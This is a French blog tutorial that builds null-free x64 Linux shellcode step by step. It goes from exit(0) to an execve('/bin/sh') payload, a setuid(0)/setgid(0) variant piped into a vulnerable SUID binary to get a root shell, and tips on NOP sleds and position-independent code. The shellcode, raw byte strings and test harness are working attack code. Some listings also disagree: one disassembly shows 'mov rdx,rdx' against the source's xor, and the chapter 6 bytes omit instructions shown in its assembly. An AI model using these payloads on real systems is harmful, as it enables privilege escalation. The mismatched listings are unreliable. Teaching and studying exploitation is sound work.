Écrire un shellcode x64 de zéro : un guide pratique

23 mai 2026 dans Security par Gerboise14 minutes

Je bricole sur du binary exploitation depuis un moment maintenant, et la plupart des cibles que je rencontre sont en x86_64. Écrire du shellcode à la main n’est pas quelque chose que je fais tous les jours, peut-être quelques fois par an au mieux. Mais à chaque fois que j’en ai besoin, ça me prend bien deux ou trois heures rien que pour me remettre dans le bain. Les conventions d’appel, l’organisation des registres, les numéros de syscalls… il faut que tout revienne pièce par pièce.

Ce qui n’arrange rien, c’est que la plupart des tutoriels de shellcode qu’on trouve en ligne sont écrits pour du x86 (32 bits). Les exemples classiques avec int 0x80 sont partout, mais des exemples x64 propres ? Beaucoup plus rares. Alors j’ai décidé d’écrire la référence que j’aurais aimé avoir : un tutoriel clair sur l’écriture de shellcode x64 depuis zéro.

Chapitre 1 : Les bases du x64

Avant d’écrire le moindre shellcode, voyons les essentiels de la façon dont Linux x64 communique avec le noyau.

Syscalls

Un syscall est la manière dont les programmes en user-space demandent au noyau d’effectuer des actions (ouvrir des fichiers, créer des processus, quitter). Sur x64, on déclenche un syscall avec l’instruction syscall (et non int 0x80, qui est l’interface 32 bits).

Le numéro de syscall va dans rax, et les arguments sont passés dans les registres dans cet ordre :

RegistreRôle
raxnuméro de syscall
rdiarg 1
rsiarg 2
rdxarg 3
r10arg 4
r8arg 5
r9arg 6

Liste complète des syscalls avec leurs arguments : Linux System Call Table for x86_64.

Toolchain

On utilisera NASM (Netwide Assembler) avec la syntaxe Intel, et ld pour l’édition de liens. La commande de build utilisée tout au long de ce guide est :

$ nasm -f elf64 shellcode.asm -o shellcode.o && ld shellcode.o -o shellcode

Pour désassembler et inspecter les opcodes générés :

$ objdump -d -M intel --disassemble=_start shellcode.o

Chapitre 2 : Un premier shellcode, exit(0)

Commençons par le shellcode le plus simple possible : appeler exit(0).

;  nasm -f elf64 shellcode.asm -o shellcode.o && ld shellcode.o -o shellcode
BITS 64

global _start
_start:
    xor rdi, rdi        ; rdi = 0 (code de sortie)
    mov al, 60          ; numéro de syscall pour exit (0x3c = 60)
    syscall

On build et on exécute :

$ nasm -f elf64 shellcode.asm -o shellcode.o && ld shellcode.o -o shellcode
$ ./shellcode
$ echo $?
0

Quelques remarques :

  • xor rdi, rdi met à zéro rdi, le premier argument de notre syscall (code de sortie = 0).
  • mov al, 60 charge 60, le numéro de syscall pour exit.
  • syscall déclenche l’appel au noyau.

Désassemblons pour voir ce qu’on a réellement produit :

$ objdump -d -M intel --disassemble=_start shellcode.o

shellcode.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <_start>:
   0:    48 31 ff                 xor    rdi,rdi
   3:    b0 3c                    mov    al,0x3c
   5:    0f 05                    syscall

On voit notre code désassemblé avec les octets hexadécimaux à gauche. Tout est en ordre. Maintenant qu’on sait assembler, linker et inspecter notre shellcode, construisons quelque chose d’utile.

Chapitre 3 : Lancer un shell, le classique execve

L’objectif

Le cas d’usage le plus courant pour un shellcode : on a trouvé un binaire SUID vulnérable, et on veut ouvrir un shell pour hériter de ses privilèges. La manière la plus simple de le faire est d’appeler execve("/bin/sh", NULL, NULL), qui remplace le processus courant par un shell.

Commençons par ce à quoi ça ressemble en C classique :

// main.c
#include <unistd.h>

int main(int argc, char ** argv){
    execve("/bin/sh",0,0);
    return 0;
}

On compile et on exécute :

gerboise@fedora-3:/run/host/home/gerboise/Documents/blog$ gcc main.c -o main
gerboise@fedora-3:/run/host/home/gerboise/Documents/blog$ ./main
[gerboise@fedora-3 blog]$ id
uid=1000(gerboise) gid=1000(gerboise) groups=1000(gerboise),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[gerboise@fedora-3 blog]$

Version en assembleur

Faisons maintenant la même chose en assembleur. En regardant la table des syscalls, execve est le syscall 59 avec trois arguments : rdi = filename, rsi = argv, rdx = envp.

;  nasm -f elf64 shellcode.asm -o shellcode.o && ld shellcode.o -o shellcode
BITS 64

global _start
_start:
    mov rax, 0         ; met rax à zéro
    mov al, 59         ; execve
    mov rdi, str_file  ; const char *filename
    mov rsi, 0         ; const char *const argv[]
    mov rdx, 0         ; const char *const envp[]
    syscall
    mov al, 60         ; exit
    syscall

str_file:
    db "/bin/sh", 0

On build et on exécute :

$ nasm -f elf64 shellcode.asm -o shellcode.o && ld shellcode.o -o shellcode
$ ./shellcode
$ id
uid=1000(gerboise) gid=1000(gerboise) groups=1000(gerboise),10(wheel)
$

Ça marche, on obtient un shell. Désassemblons le binaire final :

$ objdump -d -M intel --disassemble=_start shellcode

shellcode:     file format elf64-x86-64


Disassembly of section .text:

0000000000400080 <_start>:
  400080:    b8 00 00 00 00           mov    eax,0x0
  400085:    b0 3b                    mov    al,0x3b
  400087:    48 bf a1 00 40 00 00     movabs rdi,0x4000a1
  40008e:    00 00 00
  400091:    be 00 00 00 00           mov    esi,0x0
  400096:    ba 00 00 00 00           mov    edx,0x0
  40009b:    0f 05                    syscall
  40009d:    b0 3c                    mov    al,0x3c
  40009f:    0f 05                    syscall

Ça fait beaucoup d’octets 00 là-dedans.

Chapitre 4 : Supprimer les octets nuls

Pourquoi les octets nuls posent-ils problème ? Dans la plupart des scénarios d’exploitation, le shellcode est injecté via des fonctions de manipulation de chaînes comme strcpy, gets ou sprintf. Ces fonctions considèrent 0x00 comme un terminateur de chaîne. Si votre shellcode contient un octet nul, tout ce qui suit est tronqué et votre payload est cassé.

Une mauvaise idée : déplacer la chaîne avant le code

Une première idée pourrait être de déplacer les données avant le code :

BITS 64

str_file:
    db "/bin/sh", 0

global _start
_start:
    mov rax, 0
    mov al, 59
    mov rdi, str_file
    mov rsi, 0
    mov rdx, 0
    syscall
    mov al, 60
    syscall

Mais ça ne marche pas : str_file se trouve avant _start dans la section .text. Le point d’entrée est _start, mais les octets de "/bin/sh" (2f 62 69 6e 2f 73 68 00) sont toujours là en tant que code machine. Le CPU essaierait de les exécuter comme des instructions si l’exécution atteignait cette adresse, et surtout, ça ne résout pas du tout notre problème d’octets nuls, puisque l’adresse absolue de str_file s’encode toujours avec des nuls dans le movabs.

Étape 1 : construire la chaîne sur la pile

Plutôt que de stocker la chaîne en tant que donnée dans le binaire, on peut la construire à l’exécution sur la pile. De cette façon on n’a pas besoin de label ni d’adresse absolue, on pushe juste les octets et on fait pointer rdi sur rsp.

Un problème : "/bin/sh" fait 7 octets. Un push sur x64 travaille avec des valeurs de 8 octets. On pourrait combler avec un octet nul, mais c’est précisément ce qu’on essaie d’éviter. L’astuce est d’utiliser "/bin//sh" (exactement 8 octets), et Linux se moque du / supplémentaire dans un chemin.

Mais comment obtenir la valeur hexadécimale de "/bin//sh" ? x86_64 est little-endian, ce qui veut dire que les octets sont stockés dans l’ordre inverse en mémoire. Il faut donc inverser les valeurs ASCII de la chaîne :

"/bin//sh" en ASCII :      2f 62 69 6e 2f 2f 73 68
inversé (little-endian) :  68 73 2f 2f 6e 69 62 2f
valeur 64 bits :           0x68732f2f6e69622f

On peut aussi l’obtenir avec Python :

$ python3 -c 'import struct; print(hex(struct.unpack("<Q", b"/bin//sh")[0]))'
0x68732f2f6e69622f
;  nasm -f elf64 shellcode.asm -o shellcode.o && ld shellcode.o -o shellcode
BITS 64

global _start
_start:
    mov rax, 0
    mov al, 59                         ; execve

    mov r8, 0                          ; push un qword nul sur la pile
    push r8                            ; il servira de terminateur de chaîne

    mov r8, 0x68732F2F6E69622F         ; "/bin//sh" sur 64 bits
    push r8                            ; push la chaîne sur la pile

    mov rdi, rsp                       ; rdi pointe sur "/bin//sh\0" sur la pile
    mov rsi, 0                         ; argv = NULL
    mov rdx, 0                         ; envp = NULL
    syscall

    mov al, 60                         ; exit
    syscall

Voilà à quoi ressemble la pile au moment où on atteint syscall :

        adresses basses
rsp →  | 2F 62 69 6E 2F 2F 73 68 |   "/bin//sh"
       | 00 00 00 00 00 00 00 00 |   terminateur nul
        adresses hautes

rdi pointe sur rsp, qui est le début de notre chaîne, correctement terminée par un octet nul.

Désassemblons :

$ objdump -d -M intel --disassemble=_start shellcode

0000000000400080 <_start>:
  400080:    b8 00 00 00 00           mov    eax,0x0
  400085:    b0 3b                    mov    al,0x3b
  400087:    41 b8 00 00 00 00        mov    r8d,0x0
  40008d:    41 50                    push   r8
  40008f:    49 b8 2f 62 69 6e 2f     movabs r8,0x68732f2f6e69622f
  400096:    2f 73 68
  400099:    41 50                    push   r8
  40009b:    48 89 e7                 mov    rdi,rsp
  40009e:    be 00 00 00 00           mov    esi,0x0
  4000a3:    ba 00 00 00 00           mov    edx,0x0
  4000a8:    0f 05                    syscall
  4000aa:    b0 3c                    mov    al,0x3c
  4000ac:    0f 05                    syscall

On s’est débarrassé du movabs rdi avec l’adresse absolue, mais il reste plein d’octets nuls. mov eax,0x0, mov r8d,0x0, mov esi,0x0, mov edx,0x0 s’encodent tous avec des octets 00.

Étape 2 : remplacer mov ..., 0 par xor

Chaque mov reg, 0 encode le zéro comme une valeur immédiate, soit 4 octets de 00. La solution simple : xor reg, reg. XORer un registre avec lui-même donne toujours zéro, et l’instruction s’encode sans aucun octet nul. Bonus : c’est aussi plus court : xor rax, rax fait 3 octets contre 5 pour mov eax, 0x0.

;  nasm -f elf64 shellcode.asm -o shellcode.o && ld shellcode.o -o shellcode
BITS 64

global _start
_start:
    xor rax, rax                       ; rax = 0 (pas d'octets nuls, 3 octets)
    mov al, 59                         ; execve

    xor r8, r8                         ; r8 = 0 (pas d'octets nuls, 3 octets)
    push r8                            ; push le terminateur nul sur la pile

    mov r8, 0x68732F2F6E69622F         ; "/bin//sh" sur 64 bits
    push r8                            ; push la chaîne sur la pile

    mov rdi, rsp                       ; rdi pointe sur "/bin//sh\0" sur la pile
    xor rsi, rsi                       ; argv = NULL (pas d'octets nuls, 3 octets)
    xor rdx, rdx                       ; envp = NULL (pas d'octets nuls, 3 octets)
    syscall

    mov al, 60                         ; exit
    syscall

Désassemblons :

$ objdump -d -M intel --disassemble=_start shellcode.o

0000000000000000 <_start>:
   0:    48 31 c0                 xor    rax,rax
   3:    b0 3b                    mov    al,0x3b
   5:    4d 31 c0                 xor    r8,r8
   8:    41 50                    push   r8
   a:    49 b8 2f 62 69 6e 2f     movabs r8,0x68732f2f6e69622f
  11:    2f 73 68
  14:    41 50                    push   r8
  16:    48 89 e7                 mov    rdi,rsp
  19:    48 31 f6                 xor    rsi,rsi
  1c:    48 89 d2                 mov    rdx,rdx
  1f:    0f 05                    syscall
  21:    b0 3c                    mov    al,0x3c
  23:    0f 05                    syscall

Plus aucun octet nul. On peut extraire le shellcode brut :

\x48\x31\xc0\xb0\x3b\x4d\x31\xc0\x41\x50\x49\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x41\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05\xb0\x3c\x0f\x05

Chapitre 5 : Tester le shellcode

Assurons-nous maintenant que notre shellcode fonctionne réellement lorsqu’il est injecté sous forme d’octets bruts. D’abord, on extrait les opcodes du binaire :

$ objdump -d -M intel --disassemble=_start shellcode | grep '^ ' | cut -f2 | tr -d ' \n' | sed 's/\(..\)/\\x\1/g'
\x48\x31\xc0\xb0\x3b\x4d\x31\xc0\x41\x50\x49\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x41\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05\xb0\x3c\x0f\x05

On peut coller ça dans un petit programme C qui alloue une zone mémoire exécutable avec mmap, y copie le shellcode et saute dedans :

// gcc -o test_shellcode test_shellcode.c
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>

unsigned char shellcode[] = "\x48\x31\xc0\xb0\x3b\x4d\x31\xc0\x41\x50\x49\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x41\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05\xb0\x3c\x0f\x05";

int main() {
    printf("Shellcode length: %lu\n", sizeof(shellcode) - 1);

    void *mem = mmap(NULL, sizeof(shellcode), PROT_READ | PROT_WRITE | PROT_EXEC,
                     MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    memcpy(mem, shellcode, sizeof(shellcode));
    ((void(*)())mem)();

    return 0;
}
$ gcc -o test_shellcode test_shellcode.c
$ ./test_shellcode
Shellcode length: 37
$ id
uid=1000(gerboise) gid=1000(gerboise) groups=1000(gerboise)
$

37 octets, sans aucun octet nul, et ça ouvre un shell.

Chapitre 6 : Exploiter des binaires SUID

Notre shellcode ouvre un shell, mais si on exploite un binaire SUID, il faut s’assurer qu’on obtient bien les privilèges root. Quand un binaire SUID s’exécute, le processus a un uid effectif de 0, mais le vrai uid reste le nôtre. Par défaut, /bin/sh abandonne les privilèges si le vrai uid et l’uid effectif ne correspondent pas. Il faut appeler setuid(0) et setgid(0) avant execve pour positionner le vrai uid/gid à 0.

En regardant la table des syscalls :

  • setuid est le syscall 105 (0x69), prend rdi = uid
  • setgid est le syscall 106 (0x6a), prend rdi = gid
;  nasm -f elf64 shellcode.asm -o shellcode.o && ld shellcode.o -o shellcode
BITS 64

global _start
_start:
    xor rax, rax
    mov al, 105        ; setuid(0)
    xor rdi, rdi       ; uid = 0
    syscall

    xor rax, rax
    mov al, 106        ; setgid(0)
    xor rdi, rdi       ; gid = 0
    syscall

    xor rax, rax
    mov al, 59         ; execve
    xor r8, r8
    push r8            ; terminateur nul
    mov r8, 0x68732F2F6E69622F
    push r8            ; "/bin//sh"
    mov rdi, rsp
    xor rsi, rsi       ; argv = NULL
    xor rdx, rdx       ; envp = NULL
    syscall

    xor rax, rax
    mov al, 60         ; exit
    syscall

Pour injecter ça dans un binaire vulnérable via stdin :

$ python3 -c 'import sys; sys.stdout.buffer.write(b"\x48\x31\xc0\xb0\x69\x48\x31\xff\x0f\x05\xb0\x6a\x48\x31\xff\x0f\x05\xb0\x3b\x4d\x31\xc0\x41\x50\x49\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x41\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05\xb0\x3c\x0f\x05")' > /tmp/payload
$ (cat /tmp/payload; cat) | ./vulnerable_suid_binary
$ id
uid=0(root) gid=0(root)

Le cat à la fin maintient stdin ouvert pour que le shell lancé ne se termine pas immédiatement.

Chapitre 7 : Astuces pour écrire du shellcode

Voici un ensemble de techniques courantes pour écrire du shellcode x64 qu’on n’a pas complètement abordées dans les chapitres précédents.

jmp/call/pop, obtenir l’adresse d’une chaîne sans référence absolue

C’est une astuce classique. L’instruction call pousse l’adresse de retour (l’adresse de l’instruction suivante) sur la pile. Si on place notre chaîne juste après le call, on peut pop son adresse dans un registre :

    jmp short forward       ; saute par-dessus la chaîne
back:
    pop rdi                 ; rdi = adresse de "/bin//sh" (poussée par call)
    ; ... suite du shellcode ...

forward:
    call back               ; pousse l'adresse de str_file sur la pile
str_file:
    db "/bin//sh", 0

Le flux est : jmp forwardcall back (pousse l’adresse de str_file) → pop rdi (rdi pointe maintenant sur la chaîne). C’est position-independent : ça fonctionne quelle que soit l’adresse où tombe le shellcode en mémoire, parce que call utilise un offset relatif.

LEA relatif à RIP

Sur x64, on peut utiliser l’adressage relatif à RIP pour référencer des données sans adresse absolue :

    lea rdi, [rel str_file]
    ; ...
str_file:
    db "/bin//sh", 0

lea rdi, [rel str_file] s’encode comme un offset relatif au pointeur d’instruction courant, pas d’octets nuls provenant d’adresses absolues. Plus court et plus simple que jmp/call/pop, mais disponible uniquement en x64.

Utiliser des sous-registres pour éviter les octets nuls

Les registres x64 ont des sous-registres plus petits dans lesquels on peut écrire indépendamment :

rax (64 bits) → eax (32 bits) → ax (16 bits) → al (8 bits)

Quand on veut charger une petite valeur, il faut utiliser le plus petit registre qui convient :

mov rax, 59       ; 48 c7 c0 3b 00 00 00  (7 octets, contient des octets nuls)
mov eax, 59       ; b8 3b 00 00 00         (5 octets, encore des octets nuls)
mov al, 59        ; b0 3b                  (2 octets, pas d'octets nuls !)

Le piège : mov al n’écrit que l’octet bas, les octets hauts de rax gardent leur valeur précédente. C’est pour ça qu’on fait xor rax, rax d’abord pour vider tout le registre, puis mov al pour positionner le numéro de syscall.

À noter que mov eax, imm32 étend implicitement par des zéros vers rax en x64, donc xor eax, eax (2 octets) fait la même chose que xor rax, rax (3 octets), un octet économisé gratuitement.

Compléter les chaînes avec des slashes supplémentaires

Comme on l’a vu au chapitre 4, "/bin/sh" fait 7 octets, peu pratique pour des pushes de 8 octets. Linux ignore les slashes consécutifs dans les chemins, donc :

  • "/bin//sh" (8 octets, tient dans un seul push)
  • "//bin/sh" (fonctionne aussi)

Éviter le clobbering de syscall

L’instruction syscall écrase rcx et r11 (elle sauvegarde rip dans rcx et rflags dans r11). Si on enchaîne plusieurs syscalls, il ne faut rien stocker d’important dans ces registres entre les appels.

C’est aussi pour ça que rax ne contient que la valeur de retour après un syscall, il faut donc repositionner le numéro de syscall avant chaque appel (d’où la répétition de mov al, ... avant chaque syscall).

NOP sled

Quand on exploite un buffer overflow, on ne connaît souvent pas l’adresse exacte où le shellcode va atterrir en mémoire. Un NOP sled est une longue séquence d’instructions nop (0x90) placée devant le shellcode. Si l’exécution saute quelque part dans le sled, elle glisse jusqu’au vrai code :

| 90 90 90 90 90 90 90 90 90 90 | shellcode... |
  ^--- le saut tombe quelque part ici ---> glisse jusqu'au shellcode

Plus le sled est grand, plus la fenêtre cible est large. En pratique, on peut préfixer des centaines ou des milliers de NOPs devant le payload pour augmenter les chances de tomber dedans.

Conclusion

C’était un rafraîchissement rapide sur l’écriture de shellcode x64 depuis zéro. La suite : Return-Oriented Programming (ROP).

Écrire cet article a aussi été une occasion d’apprendre pour moi. Avant je faisais tout avec hexdump, mais travailler avec objdump s’est révélé bien plus efficace. Pouvoir assembler, linker et exécuter le shellcode comme un vrai binaire ELF pour le tester, puis extraire les opcodes bruts en une seule commande, c’est un gain de temps considérable par rapport à mon ancien workflow.